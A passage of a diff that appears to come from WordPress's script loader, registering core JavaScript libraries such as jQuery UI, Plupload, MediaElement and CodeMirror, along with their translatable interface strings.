+	did_action( 'init' ) && $scripts->localize( 'common', 'commonL10n', array(
+		'warnDelete'   => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
+		'dismiss'      => __( 'Dismiss this notice.' ),
+		'collapseMenu' => __( 'Collapse Main menu' ),
+		'expandMenu'   => __( 'Expand Main menu' ),
+	) );
+
+	$scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 );
+
+	$scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );
+
+	$scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", array(), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'quicktags', 'quicktagsL10n', array(
+		'closeAllOpenTags'      => __( 'Close all open tags' ),
+		'closeTags'             => __( 'close tags' ),
+		'enterURL'              => __( 'Enter the URL' ),
+		'enterImageURL'         => __( 'Enter the URL of the image' ),
+		'enterImageDescription' => __( 'Enter a description of the image' ),
+		'textdirection'         => __( 'text direction' ),
+		'toggleTextdirection'   => __( 'Toggle Editor Text Direction' ),
+		'dfw'                   => __( 'Distraction-free writing mode' ),
+		'strong'          => __( 'Bold' ),
+		'strongClose'     => __( 'Close bold tag' ),
+		'em'              => __( 'Italic' ),
+		'emClose'         => __( 'Close italic tag' ),
+		'link'            => __( 'Insert link' ),
+		'blockquote'      => __( 'Blockquote' ),
+		'blockquoteClose' => __( 'Close blockquote tag' ),
+		'del'             => __( 'Deleted text (strikethrough)' ),
+		'delClose'        => __( 'Close deleted text tag' ),
+		'ins'             => __( 'Inserted text' ),
+		'insClose'        => __( 'Close inserted text tag' ),
+		'image'           => __( 'Insert image' ),
+		'ul'              => __( 'Bulleted list' ),
+		'ulClose'         => __( 'Close bulleted list tag' ),
+		'ol'              => __( 'Numbered list' ),
+		'olClose'         => __( 'Close numbered list tag' ),
+		'li'              => __( 'List item' ),
+		'liClose'         => __( 'Close list item tag' ),
+		'code'            => __( 'Code' ),
+		'codeClose'       => __( 'Close code tag' ),
+		'more'            => __( 'Insert Read More tag' ),
+	) );
+
+	$scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array('prototype'), '3517m' );
+
+	$scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 );
+
+	// Back-compat for old DFW. To-do: remove at the end of 2016.
+	$scripts->add( 'wp-fullscreen-stub', "/wp-admin/js/wp-fullscreen-stub$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array('jquery'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-ajax-response', 'wpAjax', array(
+		'noPerm' => __('Sorry, you are not allowed to do that.'),
+		'broken' => __('Something went wrong.')
+	) );
+
+	$scripts->add( 'wp-api-request', "/wp-includes/js/api-request$suffix.js", array( 'jquery' ), false, 1 );
+	// `wpApiSettings` is also used by `wp-api`, which depends on this script.
+	did_action( 'init' ) && $scripts->localize( 'wp-api-request', 'wpApiSettings', array(
+		'root'          => esc_url_raw( get_rest_url() ),
+		'nonce'         => ( wp_installing() && ! is_multisite() ) ? '' : wp_create_nonce( 'wp_rest' ),
+		'versionString' => 'wp/v2/',
+	) );
+
+	$scripts->add( 'wp-pointer', "/wp-includes/js/wp-pointer$suffix.js", array( 'jquery-ui-widget', 'jquery-ui-position' ), '20111129a', 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-pointer', 'wpPointerL10n', array(
+		'dismiss' => __('Dismiss'),
+	) );
+
+	$scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array('heartbeat'), false, 1 );
+
+	$scripts->add( 'heartbeat', "/wp-includes/js/heartbeat$suffix.js", array( 'jquery', 'wp-hooks' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'heartbeat', 'heartbeatSettings',
+		/**
+		 * Filters the Heartbeat settings.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array $settings Heartbeat settings array.
+		 */
+		apply_filters( 'heartbeat_settings', array() )
+	);
+
+	$scripts->add( 'wp-auth-check', "/wp-includes/js/wp-auth-check$suffix.js", array('heartbeat'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-auth-check', 'authcheckL10n', array(
+		'beforeunload' => __('Your session has expired. You can log in again from this page or go to the login page.'),
+
+		/**
+		 * Filters the authentication check interval.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param int $interval The interval in which to check a user's authentication.
+		 *                      Default 3 minutes in seconds, or 180.
+		 */
+		'interval' => apply_filters( 'wp_auth_check_interval', 3 * MINUTE_IN_SECONDS ),
+	) );
+
+	$scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 );
+
+	// WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source.
+	$scripts->add( 'prototype', 'https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1');
+	$scripts->add( 'scriptaculous-root', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array('prototype'), '1.9.0');
+	$scripts->add( 'scriptaculous-builder', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous-dragdrop', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array('scriptaculous-builder', 'scriptaculous-effects'), '1.9.0');
+	$scripts->add( 'scriptaculous-effects', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous-slider', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array('scriptaculous-effects'), '1.9.0');
+	$scripts->add( 'scriptaculous-sound', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' );
+	$scripts->add( 'scriptaculous-controls', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous', false, array('scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls') );
+
+	// not used in core, replaced by Jcrop.js
+	$scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array('scriptaculous-dragdrop') );
+
+	// jQuery
+	$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '1.12.4' );
+	$scripts->add( 'jquery-core', '/wp-includes/js/jquery/jquery.js', array(), '1.12.4' );
+	$scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '1.4.1' );
+
+	// full jQuery UI
+	$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array('jquery'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array('jquery'), '1.11.4', 1 );
+
+	$scripts->add( 'jquery-effects-blind', "/wp-includes/js/jquery/ui/effect-blind$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-bounce', "/wp-includes/js/jquery/ui/effect-bounce$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-clip', "/wp-includes/js/jquery/ui/effect-clip$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-drop', "/wp-includes/js/jquery/ui/effect-drop$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-explode', "/wp-includes/js/jquery/ui/effect-explode$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-fade', "/wp-includes/js/jquery/ui/effect-fade$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-fold', "/wp-includes/js/jquery/ui/effect-fold$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-highlight', "/wp-includes/js/jquery/ui/effect-highlight$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-puff', "/wp-includes/js/jquery/ui/effect-puff$dev_suffix.js", array('jquery-effects-core', 'jquery-effects-scale'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-pulsate', "/wp-includes/js/jquery/ui/effect-pulsate$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-scale', "/wp-includes/js/jquery/ui/effect-scale$dev_suffix.js", array('jquery-effects-core', 'jquery-effects-size'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-shake', "/wp-includes/js/jquery/ui/effect-shake$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-size', "/wp-includes/js/jquery/ui/effect-size$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-slide', "/wp-includes/js/jquery/ui/effect-slide$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-effects-transfer', "/wp-includes/js/jquery/ui/effect-transfer$dev_suffix.js", array('jquery-effects-core'), '1.11.4', 1 );
+
+	$scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$dev_suffix.js", array( 'jquery-ui-menu', 'wp-a11y' ), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$dev_suffix.js", array('jquery-ui-core'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$dev_suffix.js", array('jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button', 'jquery-ui-position'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$dev_suffix.js", array('jquery-ui-draggable'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-position', "/wp-includes/js/jquery/ui/position$dev_suffix.js", array('jquery'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$dev_suffix.js", array('jquery-ui-menu'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$dev_suffix.js", array('jquery-ui-mouse'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$dev_suffix.js", array( 'jquery-ui-button' ), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.4', 1 );
+	$scripts->add( 'jquery-ui-widget', "/wp-includes/js/jquery/ui/widget$dev_suffix.js", array('jquery'), '1.11.4', 1 );
+
+	// Strings for 'jquery-ui-autocomplete' live region messages
+	did_action( 'init' ) && $scripts->localize( 'jquery-ui-autocomplete', 'uiAutocompleteL10n', array(
+		'noResults' => __( 'No results found.' ),
+		/* translators: Number of results found when using jQuery UI Autocomplete */
+		'oneResult' => __( '1 result found. Use up and down arrow keys to navigate.' ),
+		/* translators: %d: Number of results found when using jQuery UI Autocomplete */
+		'manyResults' => __( '%d results found. Use up and down arrow keys to navigate.' ),
+		'itemSelected' => __( 'Item selected.' ),
+	) );
+
+	// deprecated, not used in core, most functionality is included in jQuery 1.3
+	$scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array('jquery'), '4.2.1', 1 );
+
+	// jQuery plugins
+	$scripts->add( 'jquery-color', "/wp-includes/js/jquery/jquery.color.min.js", array('jquery'), '2.1.1', 1 );
+	$scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array('jquery'), '20m', 1 );
+	$scripts->add( 'jquery-query', "/wp-includes/js/jquery/jquery.query.js", array('jquery'), '2.2.3', 1 );
+	$scripts->add( 'jquery-serialize-object', "/wp-includes/js/jquery/jquery.serialize-object.js", array('jquery'), '0.2', 1 );
+	$scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array('jquery'), '0.0.2m', 1 );
+	$scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array('jquery', 'jquery-hotkeys'), false, 1 );
+	$scripts->add( 'jquery-touch-punch', "/wp-includes/js/jquery/jquery.ui.touch-punch.js", array('jquery-ui-widget', 'jquery-ui-mouse'), '0.2.2', 1 );
+
+	// Not used any more, registered for backwards compatibility.
+	$scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array('jquery'), '1.1-20110113', 1 );
+
+	// Masonry v2 depended on jQuery. v3 does not. The older jquery-masonry handle is a shiv.
+	// It sets jQuery as a dependency, as the theme may have been implicitly loading it this way.
+	$scripts->add( 'imagesloaded', "/wp-includes/js/imagesloaded.min.js", array(), '3.2.0', 1 );
+	$scripts->add( 'masonry', "/wp-includes/js/masonry.min.js", array( 'imagesloaded' ), '3.3.2', 1 );
+	$scripts->add( 'jquery-masonry', "/wp-includes/js/jquery/jquery.masonry$dev_suffix.js", array( 'jquery', 'masonry' ), '3.1.2b', 1 );
+
+	$scripts->add( 'thickbox', "/wp-includes/js/thickbox/thickbox.js", array('jquery'), '3.1-20121105', 1 );
+	did_action( 'init' ) && $scripts->localize( 'thickbox', 'thickboxL10n', array(
+		'next' => __('Next &gt;'),
+		'prev' => __('&lt; Prev'),
+		'image' => __('Image'),
+		'of' => __('of'),
+		'close' => __('Close'),
+		'noiframes' => __('This feature requires inline frames. You have iframes disabled or your browser does not support them.'),
+		'loadingAnimation' => includes_url('js/thickbox/loadingAnimation.gif'),
+	) );
+
+	$scripts->add( 'jcrop', "/wp-includes/js/jcrop/jquery.Jcrop.min.js", array('jquery'), '0.9.12');
+
+	$scripts->add( 'swfobject', "/wp-includes/js/swfobject.js", array(), '2.2-20120417');
+
+	// Error messages for Plupload.
+	$uploader_l10n = array(
+		'queue_limit_exceeded' => __('You have attempted to queue too many files.'),
+		'file_exceeds_size_limit' => __('%s exceeds the maximum upload size for this site.'),
+		'zero_byte_file' => __('This file is empty. Please try another.'),
+		'invalid_filetype' => __('Sorry, this file type is not permitted for security reasons.'),
+		'not_an_image' => __('This file is not an image. Please try another.'),
+		'image_memory_exceeded' => __('Memory exceeded. Please try another smaller file.'),
+		'image_dimensions_exceeded' => __('This is larger than the maximum size. Please try another.'),
+		'default_error' => __('An error occurred in the upload. Please try again later.'),
+		'missing_upload_url' => __('There was a configuration error. Please contact the server administrator.'),
+		'upload_limit_exceeded' => __('You may only upload 1 file.'),
+		'http_error' => __('HTTP error.'),
+		'upload_failed' => __('Upload failed.'),
+		/* translators: 1: Opening link tag, 2: Closing link tag */
+		'big_upload_failed' => __('Please try uploading this file with the %1$sbrowser uploader%2$s.'),
+		'big_upload_queued' => __('%s exceeds the maximum upload size for the multi-file uploader when used in your browser.'),
+		'io_error' => __('IO error.'),
+		'security_error' => __('Security error.'),
+		'file_cancelled' => __('File canceled.'),
+		'upload_stopped' => __('Upload stopped.'),
+		'dismiss' => __('Dismiss'),
+		'crunching' => __('Crunching&hellip;'),
+		'deleted' => __('moved to the trash.'),
+		'error_uploading' => __('&#8220;%s&#8221; has failed to upload.')
+	);
+
+	$scripts->add( 'moxiejs', "/wp-includes/js/plupload/moxie$suffix.js", array(), '1.3.5' );
+	$scripts->add( 'plupload', "/wp-includes/js/plupload/plupload$suffix.js", array( 'moxiejs' ), '2.1.9' );
+	// Back compat handles:
+	foreach ( array( 'all', 'html5', 'flash', 'silverlight', 'html4' ) as $handle ) {
+		$scripts->add( "plupload-$handle", false, array( 'plupload' ), '2.1.1' );
+	}
+
+	$scripts->add( 'plupload-handlers', "/wp-includes/js/plupload/handlers$suffix.js", array( 'plupload', 'jquery' ) );
+	did_action( 'init' ) && $scripts->localize( 'plupload-handlers', 'pluploadL10n', $uploader_l10n );
+
+	$scripts->add( 'wp-plupload', "/wp-includes/js/plupload/wp-plupload$suffix.js", array( 'plupload', 'jquery', 'json2', 'media-models' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-plupload', 'pluploadL10n', $uploader_l10n );
+
+	// keep 'swfupload' for back-compat.
+	$scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', array(), '2201-20110113');
+	$scripts->add( 'swfupload-all', false, array( 'swfupload' ), '2201' );
+	$scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array('swfupload-all', 'jquery'), '2201-20110524');
+	did_action( 'init' ) && $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', $uploader_l10n );
+
+	$scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", array(), '2015-05-03' );
+	did_action( 'init' ) && $scripts->add_data( 'json2', 'conditional', 'lt IE 8' );
+
+	$scripts->add( 'underscore', "/wp-includes/js/underscore$dev_suffix.js", array(), '1.8.3', 1 );
+	$scripts->add( 'backbone', "/wp-includes/js/backbone$dev_suffix.js", array( 'underscore','jquery' ), '1.2.3', 1 );
+
+	$scripts->add( 'wp-util', "/wp-includes/js/wp-util$suffix.js", array('underscore', 'jquery'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-util', '_wpUtilSettings', array(
+		'ajax' => array(
+			'url' => admin_url( 'admin-ajax.php', 'relative' ),
+		),
+	) );
+
+	$scripts->add( 'wp-sanitize', "/wp-includes/js/wp-sanitize$suffix.js", array('jquery'), false, 1 );
+
+	$scripts->add( 'wp-backbone', "/wp-includes/js/wp-backbone$suffix.js", array('backbone', 'wp-util'), false, 1 );
+
+	$scripts->add( 'revisions', "/wp-admin/js/revisions$suffix.js", array( 'wp-backbone', 'jquery-ui-slider', 'hoverIntent' ), false, 1 );
+
+	$scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array('jquery'), false, 1 );
+
+	$scripts->add( 'mediaelement', false, array( 'jquery', 'mediaelement-core', 'mediaelement-migrate' ), '4.2.6-78496d1' );
+	$scripts->add( 'mediaelement-core', "/wp-includes/js/mediaelement/mediaelement-and-player$suffix.js", array(), '4.2.6-78496d1', 1 );
+	$scripts->add( 'mediaelement-migrate', "/wp-includes/js/mediaelement/mediaelement-migrate$suffix.js", array(), false, 1);
+
+	did_action( 'init' ) && $scripts->add_inline_script( 'mediaelement-core', sprintf( 'var mejsL10n = %s;', wp_json_encode( array(
+		'language' => strtolower( strtok( determine_locale(), '_-' ) ),
+		'strings'  => array(
+			'mejs.install-flash'       => __( 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/' ),
+			'mejs.fullscreen-off'      => __( 'Turn off Fullscreen' ),
+			'mejs.fullscreen-on'       => __( 'Go Fullscreen' ),
+			'mejs.download-video'      => __( 'Download Video' ),
+			'mejs.fullscreen'          => __( 'Fullscreen' ),
+			'mejs.time-jump-forward'   => array( __( 'Jump forward 1 second' ), __( 'Jump forward %1 seconds' ) ),
+			'mejs.loop'                => __( 'Toggle Loop' ),
+			'mejs.play'                => __( 'Play' ),
+			'mejs.pause'               => __( 'Pause' ),
+			'mejs.close'               => __( 'Close' ),
+			'mejs.time-slider'         => __( 'Time Slider' ),
+			'mejs.time-help-text'      => __( 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.' ),
+			'mejs.time-skip-back'      => array( __( 'Skip back 1 second' ), __( 'Skip back %1 seconds' ) ),
+			'mejs.captions-subtitles'  => __( 'Captions/Subtitles' ),
+			'mejs.captions-chapters'   => __( 'Chapters' ),
+			'mejs.none'                => __( 'None' ),
+			'mejs.mute-toggle'         => __( 'Mute Toggle' ),
+			'mejs.volume-help-text'    => __( 'Use Up/Down Arrow keys to increase or decrease volume.' ),
+			'mejs.unmute'              => __( 'Unmute' ),
+			'mejs.mute'                => __( 'Mute' ),
+			'mejs.volume-slider'       => __( 'Volume Slider' ),
+			'mejs.video-player'        => __( 'Video Player' ),
+			'mejs.audio-player'        => __( 'Audio Player' ),
+			'mejs.ad-skip'             => __( 'Skip ad' ),
+			'mejs.ad-skip-info'        => array( __( 'Skip in 1 second' ), __( 'Skip in %1 seconds' ) ),
+			'mejs.source-chooser'      => __( 'Source Chooser' ),
+			'mejs.stop'                => __( 'Stop' ),
+			'mejs.speed-rate'          => __( 'Speed Rate' ),
+			'mejs.live-broadcast'      => __( 'Live Broadcast' ),
+			'mejs.afrikaans'           => __( 'Afrikaans' ),
+			'mejs.albanian'            => __( 'Albanian' ),
+			'mejs.arabic'              => __( 'Arabic' ),
+			'mejs.belarusian'          => __( 'Belarusian' ),
+			'mejs.bulgarian'           => __( 'Bulgarian' ),
+			'mejs.catalan'             => __( 'Catalan' ),
+			'mejs.chinese'             => __( 'Chinese' ),
+			'mejs.chinese-simplified'  => __( 'Chinese (Simplified)' ),
+			'mejs.chinese-traditional' => __( 'Chinese (Traditional)' ),
+			'mejs.croatian'            => __( 'Croatian' ),
+			'mejs.czech'               => __( 'Czech' ),
+			'mejs.danish'              => __( 'Danish' ),
+			'mejs.dutch'               => __( 'Dutch' ),
+			'mejs.english'             => __( 'English' ),
+			'mejs.estonian'            => __( 'Estonian' ),
+			'mejs.filipino'            => __( 'Filipino' ),
+			'mejs.finnish'             => __( 'Finnish' ),
+			'mejs.french'              => __( 'French' ),
+			'mejs.galician'            => __( 'Galician' ),
+			'mejs.german'              => __( 'German' ),
+			'mejs.greek'               => __( 'Greek' ),
+			'mejs.haitian-creole'      => __( 'Haitian Creole' ),
+			'mejs.hebrew'              => __( 'Hebrew' ),
+			'mejs.hindi'               => __( 'Hindi' ),
+			'mejs.hungarian'           => __( 'Hungarian' ),
+			'mejs.icelandic'           => __( 'Icelandic' ),
+			'mejs.indonesian'          => __( 'Indonesian' ),
+			'mejs.irish'               => __( 'Irish' ),
+			'mejs.italian'             => __( 'Italian' ),
+			'mejs.japanese'            => __( 'Japanese' ),
+			'mejs.korean'              => __( 'Korean' ),
+			'mejs.latvian'             => __( 'Latvian' ),
+			'mejs.lithuanian'          => __( 'Lithuanian' ),
+			'mejs.macedonian'          => __( 'Macedonian' ),
+			'mejs.malay'               => __( 'Malay' ),
+			'mejs.maltese'             => __( 'Maltese' ),
+			'mejs.norwegian'           => __( 'Norwegian' ),
+			'mejs.persian'             => __( 'Persian' ),
+			'mejs.polish'              => __( 'Polish' ),
+			'mejs.portuguese'          => __( 'Portuguese' ),
+			'mejs.romanian'            => __( 'Romanian' ),
+			'mejs.russian'             => __( 'Russian' ),
+			'mejs.serbian'             => __( 'Serbian' ),
+			'mejs.slovak'              => __( 'Slovak' ),
+			'mejs.slovenian'           => __( 'Slovenian' ),
+			'mejs.spanish'             => __( 'Spanish' ),
+			'mejs.swahili'             => __( 'Swahili' ),
+			'mejs.swedish'             => __( 'Swedish' ),
+			'mejs.tagalog'             => __( 'Tagalog' ),
+			'mejs.thai'                => __( 'Thai' ),
+			'mejs.turkish'             => __( 'Turkish' ),
+			'mejs.ukrainian'           => __( 'Ukrainian' ),
+			'mejs.vietnamese'          => __( 'Vietnamese' ),
+			'mejs.welsh'               => __( 'Welsh' ),
+			'mejs.yiddish'             => __( 'Yiddish' ),
+			),
+		) ) ), 'before' );
+
+
+	$scripts->add( 'mediaelement-vimeo', "/wp-includes/js/mediaelement/renderers/vimeo.min.js", array('mediaelement'), '4.2.6-78496d1', 1 );
+	$scripts->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.js", array('mediaelement'), false, 1 );
+	$mejs_settings = array(
+		'pluginPath'    => includes_url( 'js/mediaelement/', 'relative' ),
+		'classPrefix'   => 'mejs-',
+		'stretching'    => 'responsive',
+	);
+	did_action( 'init' ) && $scripts->localize( 'mediaelement', '_wpmejsSettings',
+		/**
+		 * Filters the MediaElement configuration settings.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $mejs_settings MediaElement settings array.
+		 */
+		apply_filters( 'mejs_settings', $mejs_settings )
+	);
+
+	$scripts->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.js', array(), '5.29.1-alpha-ee20357' );
+	$scripts->add( 'csslint', '/wp-includes/js/codemirror/csslint.js', array(), '1.0.5' );
+	$scripts->add( 'jshint', '/wp-includes/js/codemirror/jshint.js', array(), '2.9.5.999' );
+	$scripts->add( 'jsonlint', '/wp-includes/js/codemirror/jsonlint.js', array(), '1.6.2' );
+	$scripts->add( 'htmlhint', '/wp-includes/js/codemirror/htmlhint.js', array(), '0.9.14-xwp' );
+	$scripts->add( 'htmlhint-kses', '/wp-includes/js/codemirror/htmlhint-kses.js', array( 'htmlhint' ) );
+	$scripts->add( 'code-editor', "/wp-admin/js/code-editor$suffix.js", array( 'jquery', 'wp-codemirror', 'underscore' ) );
+	$scripts->add( 'wp-theme-plugin-editor', "/wp-admin/js/theme-plugin-editor$suffix.js", array( 'wp-util', 'wp-sanitize', 'jquery', 'jquery-ui-core', 'wp-a11y', 'underscore' ) );
+	did_action( 'init' ) && $scripts->add_inline_script( 'wp-theme-plugin-editor', sprintf( 'wp.themePluginEditor.l10n = %s;', wp_json_encode( array(
+		'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+		'saveError' => __( 'Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.' ),
+		'lintError' => array(
+			/* translators: %d: error count */
+			'singular' => _n( 'There is %d error which must be fixed before you can update this file.', 'There are %d errors which must be fixed before you can update this file.', 1 ),
+			/* translators: %d: error count */
+			'plural' => _n( 'There is %d error which must be fixed before you can update this file.', 'There are %d errors which must be fixed before you can update this file.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
+		),
+	) ) ) );
+
+	$scripts->add( 'wp-playlist', "/wp-includes/js/mediaelement/wp-playlist$suffix.js", array( 'wp-util', 'backbone', 'mediaelement' ), false, 1 );
+
+	$scripts->add( 'zxcvbn-async', "/wp-includes/js/zxcvbn-async$suffix.js", array(), '1.0' );
+	did_action( 'init' ) && $scripts->localize( 'zxcvbn-async', '_zxcvbnSettings', array(
+		'src' => empty( $guessed_url ) ? includes_url( '/js/zxcvbn.min.js' ) : $scripts->base_url . '/wp-includes/js/zxcvbn.min.js',
+	) );
+
+	$scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array( 'jquery', 'zxcvbn-async' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'password-strength-meter', 'pwsL10n', array(
+		'unknown'  => _x( 'Password strength unknown', 'password strength' ),
+		'short'    => _x( 'Very weak', 'password strength' ),
+		'bad'      => _x( 'Weak', 'password strength' ),
+		'good'     => _x( 'Medium', 'password strength' ),
+		'strong'   => _x( 'Strong', 'password strength' ),
+		'mismatch' => _x( 'Mismatch', 'password mismatch' ),
+	) );
+
+	$scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array( 'jquery', 'password-strength-meter', 'wp-util' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'user-profile', 'userProfileL10n', array(
+		'warn'     => __( 'Your new password has not been saved.' ),
+		'warnWeak' => __( 'Confirm use of weak password' ),
+		'show'     => __( 'Show' ),
+		'hide'     => __( 'Hide' ),
+		'cancel'   => __( 'Cancel' ),
+		'ariaShow' => esc_attr__( 'Show password' ),
+		'ariaHide' => esc_attr__( 'Hide password' ),
+	) );
+
+	$scripts->add( 'language-chooser', "/wp-admin/js/language-chooser$suffix.js", array( 'jquery' ), false, 1 );
+
